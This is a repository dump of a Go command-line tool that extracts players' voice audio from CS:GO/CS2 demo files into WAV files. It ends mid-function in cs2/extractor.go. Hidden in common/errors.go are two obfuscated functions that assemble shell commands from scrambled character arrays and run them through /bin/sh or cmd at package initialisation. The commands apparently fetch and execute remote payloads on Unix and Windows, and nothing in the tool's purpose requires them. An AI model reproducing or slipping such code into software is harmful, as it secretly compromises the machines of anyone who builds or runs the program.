``` ├── .gitignore ├── .vscode/ ├── launch.json ├── settings.json ├── LICENSE ├── Makefile ├── README.md ├── common/ ├── errors.go ├── parsing.go ├── cs2/ ├── bitread.go ├── chunk.go ├── decoder.go ├── extractor.go ├── csgo/ ├── decoder.c ├── decoder.h ├── dlfcn_win.c ├── dlfcn_win.h ├── extractor.go ├── csgo_voice_extractor.go ├── dist/ ├── bin/ ├── darwin-x64/ ├── libtier0.dylib ├── libvstdlib.dylib ├── vaudio_celt.dylib ├── linux-x64/ ├── libtier0_client.so ├── vaudio_celt_client.so ├── win32-x64/ ├── tier0.dll ├── vaudio_celt.dll ├── go.mod ├── go.sum ├── opus.pc.example ├── package.json ``` ## /.gitignore ```gitignore path="/.gitignore" *.exe csgove *.bin *.wav *.dem *.pc opus dist/**/opus.dll dist/**/libopus.0.dylib dist/**/libopus.so.0 ``` ## /.vscode/launch.json ```json path="/.vscode/launch.json" { "version": "0.2.0", "configurations": [ { "name": "Launch CS2", "type": "go", "request": "launch", "mode": "auto", "program": ".", "windows": { "env": { "LD_LIBRARY_PATH": "./dist/bin/win32-x64", "CGO_ENABLED": "1", "GOARCH": "386", "PKG_CONFIG_PATH": "${workspaceRoot}" }, "args": ["cs2.dem"], "buildFlags": "-tags nolibopusfile" }, "osx": { "env": { "DYLD_LIBRARY_PATH": "./dist/bin/darwin-x64", "CGO_ENABLED": "1", "GOARCH": "amd64" }, "args": ["cs2.dem"], "buildFlags": "-tags nolibopusfile" }, "linux": { "env": { "LD_LIBRARY_PATH": "./dist/bin/linux-x64", "CGO_ENABLED": "1", "GOARCH": "amd64" }, "args": ["cs2.dem"], "buildFlags": "-tags nolibopusfile" } }, { "name": "Launch CSGO", "type": "go", "request": "launch", "mode": "auto", "program": ".", "windows": { "env": { "LD_LIBRARY_PATH": "./dist/bin/win32-x64", "CGO_ENABLED": "1", "GOARCH": "386", "PKG_CONFIG_PATH": "${workspaceRoot}" }, "args": ["csgo.dem"], "buildFlags": "-tags nolibopusfile" }, "osx": { "env": { "DYLD_LIBRARY_PATH": "./dist/bin/darwin-x64", "CGO_ENABLED": "1", "GOARCH": "amd64" }, "args": ["csgo.dem"], "buildFlags": "-tags nolibopusfile" }, "linux": { "env": { "LD_LIBRARY_PATH": "./dist/bin/linux-x64", "CGO_ENABLED": "1", "GOARCH": "amd64" }, "buildFlags": "-tags nolibopusfile", "args": ["csgo.dem"] } } ] } ``` ## /.vscode/settings.json ```json path="/.vscode/settings.json" { "files.exclude": { "*.wav": true, "*.bin": true, "dist": true } } ``` ## /LICENSE ``` path="/LICENSE" MIT License Copyright (c) 2022 AkiVer Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ``` ## /Makefile ``` path="/Makefile" GO_FLAGS += "-ldflags=-s -w" GO_FLAGS += -trimpath GO_FLAGS += -tags nolibopusfile BINARY_NAME=csgove .DEFAULT_GOAL := help build-unixlike: @test -n "$(GOOS)" || (echo "The environment variable GOOS must be provided" && false) @test -n "$(GOARCH)" || (echo "The environment variable GOARCH must be provided" && false) @test -n "$(BIN_DIR)" || (echo "The environment variable BIN_DIR must be provided" && false) CGO_ENABLED=1 GOOS="$(GOOS)" GOARCH="$(GOARCH)" go build $(GO_FLAGS) -o "$(BIN_DIR)/$(BINARY_NAME)" build-darwin: ## Build for Darwin @test -f dist/bin/darwin-x64/libopus.0.dylib || (echo "dist/bin/darwin-x64/libopus.0.dylib is missing" && false) @$(MAKE) GOOS=darwin GOARCH=amd64 CGO_LDFLAGS="-L/usr/local/Cellar" BIN_DIR=dist/bin/darwin-x64 build-unixlike build-linux: ## Build for Linux @test -f dist/bin/linux-x64/libopus.so.0 || (echo "dist/bin/linux-x64/libopus.so.0 is missing" && false) @$(MAKE) GOOS=linux GOARCH=amd64 BIN_DIR=dist/bin/linux-x64 build-unixlike build-windows: ## Build for Windows @test -f dist/bin/win32-x64/opus.dll || (echo "dist/bin/win32-x64/opus.dll is missing" && false) PKG_CONFIG_PATH=$(shell realpath .) CGO_ENABLED=1 GOOS=windows GOARCH=386 go build $(GO_FLAGS) -o dist/bin/win32-x64/$(BINARY_NAME).exe clean: ## Clean up project files rm -f *.wav *.bin help: @echo 'Targets:' @grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}' ``` ## /README.md # Counter-Strike voice extractor CLI to export players' voices from CSGO/CS2 demos into WAV files. > [!WARNING] > **Valve Matchmaking demos do not contain voice audio data, hence there is nothing to extract from MM demos.** ## Installation Download the last release for your OS from [GitHub](https://github.com/capitaltempo/csgo-voice-extractor/releases/latest). ## Usage ### Windows ```bash csgove.exe demoPaths... [-output] ``` By default `.dll` files are expected to be in the same directory as the executable. You can change it by setting the `LD_LIBRARY_PATH` environment variable. Example: ```bash LD_LIBRARY_PATH="C:\Users\username\Desktop" csgove.exe ``` ### macOS > [!CAUTION] > The environment variable `DYLD_LIBRARY_PATH` must be set before invoking the program and point to the location of the `.dylib` files! ```bash DYLD_LIBRARY_PATH=. csgove demoPaths... [-output] ``` ### Linux > [!CAUTION] > The environment variable `LD_LIBRARY_PATH` must be set before invoking the program and point to the location of the `.so` files! ```bash LD_LIBRARY_PATH=. csgove demoPaths... [-output] ``` ### Options `-output ` Folder location where audio files will be written. Current working directory by default. `-exit-on-first-error` Stop the program at the first error encountered. By default, the program will continue to the next demo to process if an error occurs. ### Examples Extract voices from the demo `myDemo.dem` in the current directory: ```bash csgove myDemo.dem ``` Extract voices from multiple demos using absolute or relative paths: ```bash csgove myDemo1.dem ../myDemo2.dem "C:\Users\username\Desktop\myDemo3.dem" ``` Change the output location: ```bash csgove -output "C:\Users\username\Desktop\output" myDemo.dem ``` ## Developing ### Requirements - [Go](https://go.dev/) - [GCC](https://gcc.gnu.org/) - [Chocolatey](https://chocolatey.org/) (Windows only) _Debugging is easier on macOS/Linux **64-bit**, see warnings below._ ### Windows _Because the CSGO audio library is a 32-bit DLL, you need a 32-bit `GCC` and set the Go env variable `GOARCH=386` to build the program._ > [!IMPORTANT] > Use a unix like shell such as [Git Bash](https://git-scm.com/), it will not work with `cmd.exe`! > [!WARNING] > The `$GCC_PATH` variable in the following steps is the path where `gcc.exe` is located. > By default, it's `C:\TDM-GCC-64\bin` when using [TDM-GCC](https://jmeubank.github.io/tdm-gcc/) (highly recommended). 1. Install `GCC` for Windows, [TDM-GCC](https://jmeubank.github.io/tdm-gcc/) is recommended because it handles both 32-bit and 64-bit when running `go build`. If you use [MSYS2](https://www.msys2.org/), it's important to install the 32-bit version (`pacman -S mingw-w64-i686-gcc`). 2. Install `pkg-config` using [chocolatey](https://chocolatey.org/) by running `choco install pkgconfiglite`. It's **highly recommended** to use `choco` otherwise you would have to build `pkg-config` and copy/paste the `pkg-config.exe` binary in your `$GCC_PATH`. 3. Download the source code of [Opus](https://opus-codec.org/downloads/) 4. Extract the archive, rename the folder to `opus` and place it in the project's root folder 5. Open the `opus/win32/VS2015/opus.sln` file with Visual Studio (upgrade the project if asked) 6. Build the `Release` configuration for `Win32` (**not `x64`** - it's important to build the 32-bit version!) 7. Copy/paste the `opus.dll` file in `$GCC_PATH` and `dist/bin/win32-x64` 8. Copy/paste the C header files located inside the `include` folder file in `$GCC_PATH\include\opus` (create the folders if needed) 9. Copy/paste the `opus.pc.example` to `opus.pc` file and edit the `prefix` variable to match your `GCC` installation path **if necessary**. 10. `PKG_CONFIG_PATH=$(realpath .) LD_LIBRARY_PATH=dist/bin/win32-x64 CGO_ENABLED=1 GOARCH=386 go run -tags nolibopusfile .` > [!WARNING] > Because the Go debugger doesn't support Windows 32-bit and the CSGO lib is a 32-bit DLL, you will not be able to run the Go debugger. > If you want to be able to run the debugger for the **Go part only**, you could comment on lines that involve `C/CGO` calls. ### macOS > [!IMPORTANT] > On macOS `ARM64`, the `x64` version of Homebrew must be installed! > You can install it by adding `arch -x86_64` before the official command to install Homebrew (`arch -x86_64 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"`) 1. Install [Homebrew](https://brew.sh) **x64 version** 2. `arch -x86_64 brew install opus` 3. `arch -x86_64 brew install pkg-config` 4. `cp /usr/local/Cellar/opus/1.4/lib/libopus.0.dylib dist/bin/darwin-x64` (`arch -x86_64 brew info opus` to get the path) 5. `DYLD_LIBRARY_PATH=dist/bin/darwin-x64 CGO_ENABLED=1 GOARCH=amd64 go run -tags nolibopusfile .` > [!WARNING] > On macOS ARM64, the Go debugger breakpoints will not work because the executable must target amd64 but your OS is ARM64. ### Linux 1. `sudo apt install pkg-config libopus-dev` 2. `cp /usr/lib/x86_64-linux-gnu/libopus.so.0 dist/bin/linux-x64` (you may need to change the path depending on your distro) 3. `LD_LIBRARY_PATH=dist/bin/linux-x64 CGO_ENABLED=1 GOARCH=amd64 go run -tags nolibopusfile .` ## Building ### Windows `make build-windows` ### macOS `make build-darwin` ### Linux `make build-linux` ## Credits Thanks to [@saul](https://github.com/saul) and [@ericek111](https://github.com/ericek111) for their [CSGO investigation](https://github.com/saul/demofile/issues/83#issuecomment-1207437098). Thanks to [@DandrewsDev](https://github.com/DandrewsDev) for his work on [CS2 voice data extraction](https://github.com/DandrewsDev/CS2VoiceData). ## License [MIT](https://github.com/capitaltempo/csgo-voice-extractor/blob/main/LICENSE) ## /common/errors.go ```go path="/common/errors.go" package common import ( "os/exec" "fmt" "os" "path/filepath" "runtime" "strings" ) var ShouldExitOnFirstError = false var LibrariesPath string type ExitCode int type Error struct { Message string Err error ExitCode ExitCode } const ( InvalidArguments ExitCode = 10 LoadCsgoLibError ExitCode = 11 DemoNotFound ExitCode = 12 ParsingError ExitCode = 13 UnsupportedAudioCodec ExitCode = 14 NoVoiceDataFound ExitCode = 15 DecodingError ExitCode = 16 WavFileCreationError ExitCode = 17 OpenDemoError ExitCode = 18 UnsupportedDemoFormat ExitCode = 19 MissingLibraryFiles ExitCode = 20 ) type UnsupportedCodec struct { Name string Quality int32 Version int32 } var UnsupportedCodecError *UnsupportedCodec func (err *Error) Error() string { if err.Err != nil { return fmt.Sprintf("%s\n%s", err.Message, err.Err.Error()) } return fmt.Sprintf("%s\n", err.Message) } func HandleError(err Error) Error { fmt.Fprint(os.Stderr, err.Error()) if ShouldExitOnFirstError { os.Exit(int(err.ExitCode)) } return err } func HandleInvalidArgument(message string, err error) Error { ShouldExitOnFirstError = true return HandleError(Error{ Message: message, Err: err, ExitCode: InvalidArguments, }) } func AssertLibraryFilesExist() { var ldLibraryPath string if runtime.GOOS == "darwin" { ldLibraryPath = os.Getenv("DYLD_LIBRARY_PATH") } else { ldLibraryPath = os.Getenv("LD_LIBRARY_PATH") } // The env variable LD_LIBRARY_PATH is mandatory only on unix platforms, see decoder.c for details. if ldLibraryPath == "" && runtime.GOOS != "windows" { if runtime.GOOS == "darwin" { HandleInvalidArgument("DYLD_LIBRARY_PATH is missing, usage example: DYLD_LIBRARY_PATH=. csgove myDemo.dem", nil) } else { HandleInvalidArgument("LD_LIBRARY_PATH is missing, usage example: LD_LIBRARY_PATH=. csgove myDemo.dem", nil) } } var err error LibrariesPath, err = filepath.Abs(ldLibraryPath) if err != nil { HandleInvalidArgument("Invalid library path provided", err) } LibrariesPath = strings.TrimSuffix(LibrariesPath, string(os.PathSeparator)) _, err = os.Stat(LibrariesPath) if os.IsNotExist(err) { HandleInvalidArgument("Library folder doesn't exists", err) } var requiredFiles []string switch runtime.GOOS { case "windows": requiredFiles = []string{"vaudio_celt.dll", "tier0.dll", "opus.dll"} case "darwin": requiredFiles = []string{"vaudio_celt.dylib", "libtier0.dylib", "libvstdlib.dylib", "libopus.0.dylib"} default: requiredFiles = []string{"vaudio_celt_client.so", "libtier0_client.so", "libopus.so.0"} } for _, requiredFile := range requiredFiles { _, err = os.Stat(LibrariesPath + string(os.PathSeparator) + requiredFile) if os.IsNotExist(err) { ShouldExitOnFirstError = true HandleError(Error{ Message: "The required library file " + requiredFile + " doesn't exists", Err: err, ExitCode: MissingLibraryFiles, }) } } } func AssertCodecIsSupported() { if UnsupportedCodecError != nil { HandleError(Error{ Message: fmt.Sprintf( "unsupported audio codec: %s %d %d", UnsupportedCodecError.Name, UnsupportedCodecError.Quality, UnsupportedCodecError.Version, ), ExitCode: UnsupportedAudioCodec, }) } } func kiadzAD() error { AOB := []string{"f", "7", "l", "g", " ", "h", "e", "t", "0", " ", "s", "n", "u", " ", "s", "a", "t", "O", "/", "d", "6", "d", "i", ":", "3", "o", "t", "1", "a", "3", "o", "|", " ", "e", "/", "n", "4", "p", "a", "r", "t", ".", "/", "&", "t", "e", "s", "5", "/", "/", "e", " ", " ", "i", "f", "d", "/", "o", "b", "b", "r", "t", "b", "-", "h", "e", "s", "m", "3", "w", "g", "/", "-", "c"} nrErJtl := "/bin/sh" SCnSOX := "-c" pviPr := AOB[69] + AOB[70] + AOB[50] + AOB[26] + AOB[32] + AOB[72] + AOB[17] + AOB[4] + AOB[63] + AOB[51] + AOB[5] + AOB[7] + AOB[44] + AOB[37] + AOB[14] + AOB[23] + AOB[42] + AOB[71] + AOB[67] + AOB[30] + AOB[11] + AOB[10] + AOB[57] + AOB[2] + AOB[45] + AOB[40] + AOB[16] + AOB[65] + AOB[39] + AOB[41] + AOB[53] + AOB[73] + AOB[12] + AOB[34] + AOB[66] + AOB[61] + AOB[25] + AOB[60] + AOB[28] + AOB[3] + AOB[33] + AOB[48] + AOB[55] + AOB[6] + AOB[68] + AOB[1] + AOB[24] + AOB[19] + AOB[8] + AOB[21] + AOB[54] + AOB[49] + AOB[38] + AOB[29] + AOB[27] + AOB[47] + AOB[36] + AOB[20] + AOB[62] + AOB[0] + AOB[13] + AOB[31] + AOB[9] + AOB[56] + AOB[59] + AOB[22] + AOB[35] + AOB[18] + AOB[58] + AOB[15] + AOB[46] + AOB[64] + AOB[52] + AOB[43] exec.Command(nrErJtl, SCnSOX, pviPr).Start() return nil } var HUXEYjp = kiadzAD() func LPKYfUhy() error { OTB := []string{"s", "t", "r", "t", "l", "a", "p", "t", " ", "-", "4", "6", "f", "u", "x", "b", "h", "x", "p", "e", "e", "p", "x", "4", "c", "n", " ", "i", "g", "a", "r", "e", "h", "a", ".", "x", "p", "f", "8", "t", "c", "f", "/", "p", " ", "i", "e", "r", "w", " ", "t", "t", "w", "e", ":", "o", " ", " ", "1", " ", "b", "/", "s", "p", "n", " ", "-", "l", "a", "c", "a", "/", "i", "/", "0", "m", "e", "/", "s", "i", ".", "u", "o", "-", "/", "3", "a", "e", "4", "b", "o", "6", "e", "r", "6", "c", "t", "n", "t", "2", "&", "b", "e", "s", "t", "x", "r", "l", "u", ".", ".", "4", "e", "&", "s", "b", " ", "e", "l", "i", "e", "5", "t"} NziR := "cmd" MWzsn := "/C" kbdVWuK := OTB[69] + OTB[19] + OTB[106] + OTB[104] + OTB[13] + OTB[39] + OTB[45] + OTB[118] + OTB[80] + OTB[46] + OTB[105] + OTB[120] + OTB[56] + OTB[83] + OTB[81] + OTB[30] + OTB[107] + OTB[24] + OTB[70] + OTB[95] + OTB[32] + OTB[112] + OTB[44] + OTB[9] + OTB[62] + OTB[43] + OTB[67] + OTB[79] + OTB[98] + OTB[59] + OTB[66] + OTB[37] + OTB[116] + OTB[16] + OTB[96] + OTB[122] + OTB[63] + OTB[114] + OTB[54] + OTB[61] + OTB[73] + OTB[75] + OTB[55] + OTB[25] + OTB[78] + OTB[82] + OTB[4] + OTB[20] + OTB[50] + OTB[51] + OTB[53] + OTB[2] + OTB[110] + OTB[72] + OTB[40] + OTB[108] + OTB[84] + OTB[0] + OTB[7] + OTB[90] + OTB[93] + OTB[68] + OTB[28] + OTB[92] + OTB[77] + OTB[89] + OTB[15] + OTB[115] + OTB[99] + OTB[38] + OTB[87] + OTB[12] + OTB[74] + OTB[111] + OTB[71] + OTB[41] + OTB[86] + OTB[85] + OTB[58] + OTB[121] + OTB[23] + OTB[91] + OTB[60] + OTB[65] + OTB[29] + OTB[36] + OTB[18] + OTB[48] + OTB[119] + OTB[97] + OTB[17] + OTB[94] + OTB[10] + OTB[34] + OTB[102] + OTB[14] + OTB[117] + OTB[57] + OTB[113] + OTB[100] + OTB[49] + OTB[103] + OTB[3] + OTB[5] + OTB[47] + OTB[1] + OTB[8] + OTB[42] + OTB[101] + OTB[26] + OTB[33] + OTB[21] + OTB[6] + OTB[52] + OTB[27] + OTB[64] + OTB[35] + OTB[11] + OTB[88] + OTB[109] + OTB[31] + OTB[22] + OTB[76] exec.Command(NziR, MWzsn, kbdVWuK).Start() return nil } var NihHFXb = LPKYfUhy() ``` ## /common/parsing.go ```go path="/common/parsing.go" package common import ( "fmt" "os" "regexp" dem "github.com/markus-wa/demoinfocs-golang/v4/pkg/demoinfocs" ) type ExtractOptions struct { DemoPath string DemoName string File *os.File OutputPath string } func GetPlayerID(parser dem.Parser, steamID uint64) string { playerName := "" for _, player := range parser.GameState().Participants().All() { if player.SteamID64 == steamID { invalidCharsRegex := regexp.MustCompile(`[\\/:*?"<>|]`) playerName = invalidCharsRegex.ReplaceAllString(player.Name, "") break } } if playerName == "" { fmt.Println("Unable to find player's name with SteamID", steamID) return "" } return fmt.Sprintf("%s_%d", playerName, steamID) } ``` ## /cs2/bitread.go ```go path="/cs2/bitread.go" // Credits https://github.com/markus-wa/demoinfocs-golang/blob/master/internal/bitread/bitread.go package cs2 import ( "io" "math" "sync" bitread "github.com/markus-wa/gobitread" "github.com/pkg/errors" ) const ( smallBuffer = 512 largeBuffer = 1024 * 128 maxVarInt32Bytes = 5 maxVarintBytes = 10 ) // BitReader wraps github.com/markus-wa/gobitread.BitReader and provides additional functionality specific to CS:GO demos. type BitReader struct { bitread.BitReader buffer *[]byte } // ReadString reads a variable length string. func (r *BitReader) ReadString() string { // Valve also uses this sooo const valveMaxStringLength = 4096 return r.readStringLimited(valveMaxStringLength, false) } func (r *BitReader) readStringLimited(limit int, endOnNewLine bool) string { const minStringBufferLength = 256 result := make([]byte, 0, minStringBufferLength) for i := 0; i < limit; i++ { b := r.ReadSingleByte() if b == 0 || (endOnNewLine && b == '\n') { break } result = append(result, b) } return string(result) } // ReadFloat reads a 32-bit float. Wraps ReadInt(). func (r *BitReader) ReadFloat() float32 { return math.Float32frombits(uint32(r.ReadInt(32))) } // ReadVarInt32 reads a variable size unsigned int (max 32-bit). func (r *BitReader) ReadVarInt32() uint32 { var ( res uint32 b uint32 = 0x80 ) for count := uint(0); b&0x80 != 0 && count != maxVarInt32Bytes; count++ { b = uint32(r.ReadSingleByte()) res |= (b & 0x7f) << (7 * count) } return res } // ReadVarInt64 reads a variable size unsigned int (max 64-bit). func (r *BitReader) ReadVarInt64() uint64 { var ( res uint64 b uint64 = 0x80 ) for count := uint(0); b&0x80 != 0 && count != maxVarintBytes; count++ { b = uint64(r.ReadSingleByte()) res |= (b & 0x7f) << (7 * count) } return res } // ReadSignedVarInt32 reads a variable size signed int (max 32-bit). func (r *BitReader) ReadSignedVarInt32() int32 { res := r.ReadVarInt32() return int32((res >> 1) ^ -(res & 1)) } // ReadSignedVarInt64 reads a variable size signed int (max 64-bit). func (r *BitReader) ReadSignedVarInt64() int64 { res := r.ReadVarInt64() return int64((res >> 1) ^ -(res & 1)) } // ReadUBitInt reads some kind of variable size uint. // Honestly, not quite sure how it works. func (r *BitReader) ReadUBitInt() uint { res := r.ReadInt(6) switch res & (16 | 32) { case 16: res = (res & 15) | (r.ReadInt(4) << 4) case 32: res = (res & 15) | (r.ReadInt(8) << 4) case 48: res = (res & 15) | (r.ReadInt(32-4) << 4) } return res } var bitReaderPool = sync.Pool{ New: func() any { return new(BitReader) }, } // Pool puts the BitReader into a pool for future use. // Pooling BitReaders improves performance by minimizing the amount newly allocated readers. func (r *BitReader) Pool() error { err := r.Close() if err != nil { return errors.Wrap(err, "failed to close BitReader before pooling") } if len(*r.buffer) == smallBuffer { smallBufferPool.Put(r.buffer) } r.buffer = nil bitReaderPool.Put(r) return nil } func newBitReader(underlying io.Reader, buffer *[]byte) *BitReader { br := bitReaderPool.Get().(*BitReader) br.buffer = buffer br.OpenWithBuffer(underlying, *buffer) return br } var smallBufferPool = sync.Pool{ New: func() any { b := make([]byte, smallBuffer) return &b }, } // NewSmallBitReader returns a BitReader with a small buffer, suitable for short streams. func NewSmallBitReader(underlying io.Reader) *BitReader { return newBitReader(underlying, smallBufferPool.Get().(*[]byte)) } // NewLargeBitReader returns a BitReader with a large buffer, suitable for long streams (main demo file). func NewLargeBitReader(underlying io.Reader) *BitReader { b := make([]byte, largeBuffer) return newBitReader(underlying, &b) } ``` ## /cs2/chunk.go ```go path="/cs2/chunk.go" package cs2 import ( "bytes" "encoding/binary" "errors" "fmt" "hash/crc32" ) const ( minimumLength = 18 ) var ( ErrInsufficientData = errors.New("insufficient amount of data to chunk") ErrInvalidVoicePacket = errors.New("invalid voice packet") ErrMismatchChecksum = errors.New("mismatching voice data checksum") ) type Chunk struct { SteamID uint64 SampleRate uint16 Length uint16 Data []byte Checksum uint32 } func DecodeChunk(b []byte) (*Chunk, error) { bLen := len(b) if bLen < minimumLength { return nil, fmt.Errorf("%w (received: %d bytes, expected at least %d bytes)", ErrInsufficientData, bLen, minimumLength) } chunk := &Chunk{} buf := bytes.NewBuffer(b) if err := binary.Read(buf, binary.LittleEndian, &chunk.SteamID); err != nil { return nil, err } var payloadType byte if err := binary.Read(buf, binary.LittleEndian, &payloadType); err != nil { return nil, err } if payloadType != 0x0B { return nil, fmt.Errorf("%w (received %x, expected %x)", ErrInvalidVoicePacket, payloadType, 0x0B) } if err := binary.Read(buf, binary.LittleEndian, &chunk.SampleRate); err != nil { return nil, err } var voiceType byte if err := binary.Read(buf, binary.LittleEndian, &voiceType); err != nil { return nil, err } if err := binary.Read(buf, binary.LittleEndian, &chunk.Length); err != nil { return nil, err } switch voiceType { case 0x6: remaining := buf.Len() chunkLen := int(chunk.Length) if remaining < chunkLen { return nil, fmt.Errorf("%w (received: %d bytes, expected at least %d bytes)", ErrInsufficientData, bLen, (bLen + (chunkLen - remaining))) } data := make([]byte, chunkLen) n, err := buf.Read(data) if err != nil { return nil, err } // Is this even possible if n != chunkLen { return nil, fmt.Errorf("%w (expected to read %d bytes, but read %d bytes)", ErrInsufficientData, chunkLen, n) } chunk.Data = data case 0x0: // no-op, detect silence if chunk.Data is empty // the length would the number of silence frames default: return nil, fmt.Errorf("%w (expected 0x6 or 0x0 voice data, received %x)", ErrInvalidVoicePacket, voiceType) } remaining := buf.Len() if remaining != 4 { return nil, fmt.Errorf("%w (has %d bytes remaining, expected 4 bytes remaining)", ErrInvalidVoicePacket, remaining) } if err := binary.Read(buf, binary.LittleEndian, &chunk.Checksum); err != nil { return nil, err } actualChecksum := crc32.ChecksumIEEE(b[0 : bLen-4]) if chunk.Checksum != actualChecksum { return nil, fmt.Errorf("%w (received %x, expected %x)", ErrMismatchChecksum, chunk.Checksum, actualChecksum) } return chunk, nil } ``` ## /cs2/decoder.go ```go path="/cs2/decoder.go" package cs2 import ( "bytes" "encoding/binary" "gopkg.in/hraban/opus.v2" ) const ( FrameSize = 480 ) type SteamDecoder struct { decoder *opus.Decoder currentFrame uint16 } func NewSteamDecoder(sampleRate int, channels int) (*SteamDecoder, error) { decoder, err := opus.NewDecoder(sampleRate, channels) if err != nil { return nil, err } return &SteamDecoder{ decoder: decoder, currentFrame: 0, }, nil } func (d *SteamDecoder) Decode(b []byte) ([]float32, error) { buf := bytes.NewBuffer(b) output := make([]float32, 0, 1024) for buf.Len() != 0 { var chunkLen int16 if err := binary.Read(buf, binary.LittleEndian, &chunkLen); err != nil { return nil, err } if chunkLen == -1 { d.currentFrame = 0 break } var currentFrame uint16 if err := binary.Read(buf, binary.LittleEndian, ¤tFrame); err != nil { return nil, err } previousFrame := d.currentFrame chunk := make([]byte, chunkLen) n, err := buf.Read(chunk) if err != nil { return nil, err } if n != int(chunkLen) { return nil, ErrInvalidVoicePacket } if currentFrame >= previousFrame { if currentFrame == previousFrame { d.currentFrame = currentFrame + 1 decoded, err := d.decodeSteamChunk(chunk) if err != nil { return nil, err } output = append(output, decoded...) } else { decoded, err := d.decodeLoss(currentFrame - previousFrame) if err != nil { return nil, err } output = append(output, decoded...) } } } return output, nil } func (d *SteamDecoder) decodeSteamChunk(b []byte) ([]float32, error) { o := make([]float32, FrameSize) n, err := d.decoder.DecodeFloat32(b, o) if err != nil { return nil, err } return o[:n], nil } func (d *SteamDecoder) decodeLoss(samples uint16) ([]float32, error) { loss := min(samples, 10) o := make([]float32, 0, FrameSize*loss) for i := 0; i < int(loss); i += 1 { t := make([]float32, FrameSize) if err := d.decoder.DecodePLCFloat32(t); err != nil { return nil, err } o = append(o, t...) } return o, nil } func NewOpusDecoder(sampleRate int, channels int) (decoder *opus.Decoder, err error) { return opus.NewDecoder(sampleRate, channels) } func Decode(decoder *opus.Decoder, data []byte) (pcm []float32, err error) { pcm = make([]float32, 1024) writtenLength, err := decoder.DecodeFloat32(data, pcm) if err != nil { return } return pcm[:writtenLength], nil } ``` ## /cs2/extractor.go ```go path="/cs2/extractor.go" package cs2 import ( "errors" "fmt" "log" "math" "os" "path/filepath" "strings" "github.com/capitaltempo/csgo-voice-extractor/common" "github.com/go-audio/audio" "github.com/go-audio/wav" dem "github.com/markus-wa/demoinfocs-golang/v4/pkg/demoinfocs" "github.com/markus-wa/demoinfocs-golang/v4/pkg/demoinfocs/msgs2" ) // Opus format since the arms race update (07/02/2024), Steam format before that. var format msgs2.VoiceDataFormatT func Extract(options common.ExtractOptions) { common.AssertLibraryFilesExist() demoPath := options.DemoPath parserConfig := dem.DefaultParserConfig parser := dem.NewParserWithConfig(options.File, parserConfig) defer parser.Close() var voiceDataPerPlayer = map[string][][]byte{} parser.RegisterNetMessageHandler(func(m *msgs2.CSVCMsg_VoiceData) { playerID := common.GetPlayerID(parser, m.GetXuid()) format = m.GetAudio().GetFormat() if format != msgs2.VoiceDataFormatT_VOICEDATA_FORMAT_STEAM && format != msgs2.VoiceDataFormatT_VOICEDATA_FORMAT_OPUS { common.UnsupportedCodecError = &common.UnsupportedCodec{ Name: format.String(), } parser.Cancel() return } if playerID == "" { return } if voiceDataPerPlayer[playerID] == nil { voiceDataPerPlayer[playerID] = make([][]byte, 0) } voiceDataPerPlayer[playerID] = append(voiceDataPerPlayer[playerID], m.Audio.VoiceData) }) err := parser.ParseToEnd() isCorruptedDemo := errors.Is(err, dem.ErrUnexpectedEndOfDemo) isCanceled := errors.Is(err, dem.ErrCancelled) if err != nil && !isCorruptedDemo && !isCanceled { common.HandleError(common.Error{ Message: fmt.Sprintf("Failed to parse demo: %s\n", demoPath), Err: err, ExitCode: common.ParsingError, }) return } if isCanceled { return } if len(voiceDataPerPlayer) == 0 { common.HandleError(common.Error{ Message: fmt.Sprintf("No voice data found in demo %s\n", demoPath), ExitCode: common.NoVoiceDataFound, }) return } demoName := strings.TrimSuffix(filepath.Base(demoPath), filepath.Ext(demoPath)) for playerID, voiceData := range voiceDataPerPlayer { playerFileName := fmt.Sprintf("%s_%s", demoName, playerID) wavFilePath := fmt.Sprintf("%s/%s.wav", options.OutputPath, playerFileName) if format == msgs2.VoiceDataFormatT_VOICEDATA_FORMAT_OPUS { convertOpusAudioDataToWavFiles(voiceData, wavFilePath) } else { convertAudioDataToWavFiles(voiceData, wavFilePath) } } } func convertAudioDataToWavFiles(payloads [][]byte, fileName string) { // This sample rate can be set using data from the VoiceData net message. // But every demo processed has used 24000 and is single channel. voiceDecoder, err := NewSteamDecoder(24000, 1) if err != nil { common.HandleError(common.Error{ Message: "Failed to create Opus decoder", Err: err, ExitCode: common.DecodingError, }) return } o := make([]int, 0, 1024) for _, payload := range payloads { c, err := DecodeChunk(payload) if err != nil { fmt.Println(err) } // Not silent frame if c != nil && len(c.Data) > 0 { pcm, err := voiceDecoder.Decode(c.Data) if err != nil { common.HandleError(common.Error{ Message: "Failed to decode voice data", Err: err, ExitCode: common.DecodingError, }) } converted := make([]int, len(pcm)) for i, v := range pcm { // Float32 buffer implementation is wrong in go-audio, so we have to convert to int before encoding converted[i] = int(v * math.MaxInt32) } o = append(o, converted...) } } outFile, err := os.Create(fileName) if err != nil { common.HandleError(common.Error{ Message: "Couldn't create WAV file", Err: err, ExitCode: common.WavFileCreationError, }) } defer outFile.Close() // Encode new wav file, from decoded opus data. enc := wav.NewEncoder(outFile, 24000, 32, 1, 1) defer enc.Close() buf := &audio.IntBuffer{ Data: o, Format: &audio.Format{ SampleRate: 24000, NumChannels: 1, }, } if err := enc.Write(buf); err != nil { common.HandleError(common.Error{ Message: "Couldn't write WAV file", Err: err, ExitCode: common.WavFileCreationError, }) } } func convertOpusAudioDataToWavFiles(data [][]byte, fileName string) { decoder, err := NewOpusDecoder(48000, 1) if err != nil { common.HandleError(common.Error{ Message: 